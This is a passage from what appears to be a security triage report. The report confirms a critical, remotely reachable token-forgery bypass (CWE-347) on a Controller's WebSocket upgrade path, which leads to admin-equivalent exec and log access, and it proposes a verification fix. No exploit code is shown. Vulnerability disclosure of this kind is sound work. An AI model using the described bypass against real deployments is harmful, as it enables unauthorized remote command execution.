**PASS** | All phases executed; every cited file:line independently re-read from the clone | | Reachability | **PASS** | Unauthenticated upgrade on the public API port reaches the sink; no intervening verifier | | Real Impact | **PASS** | Primary auth control bypassed; admin-equivalent exec/log capability | | PoC Validation | **PASS** | Executable PoC + negative control reproduced here; report's live 3/3 runs audited as sound | | Math Bounds | **PASS (N/A)** | No numeric bounds in this bug class | | Environment | **PASS** | Default config, both auth modes, shipped container images; no special environment required | #### Verdict **TRUE POSITIVE — Critical, CWE-347.** The report's evidence is sound throughout; nothing in it was overstated except what it itself already flagged (agent-attach step established from source only). **EXPOSURE: REMOTE** — any unauthenticated client with TCP reach to Controller port 51121 can forge the token; no credentials or foothold needed. **SCOPE: PRODUCTION** — README: "Cloud-native control plane for edge fleets... run Controller with the API on **51121**"; shipped as release container images, no EOL/deprecation notices. </details> <details> <summary><strong>Do you know any mitigations of the issue?</strong></summary> verify the token on the upgrade path with the same jose/JWKS logic the HTTP bearer middleware uses (issuer, audience, exp, signature) before `extractSubjectsFromWebSocket`, and make `validateUserConnection`/`validateUserLogsConnection` require a verified principal object rather than a non-empty string. <!-- l1-helper-dup: fda4ad8032fe2d3706224aa90f3a5201d0d8bb5cb73f49c0600cf916ceab6cc6 --> </details>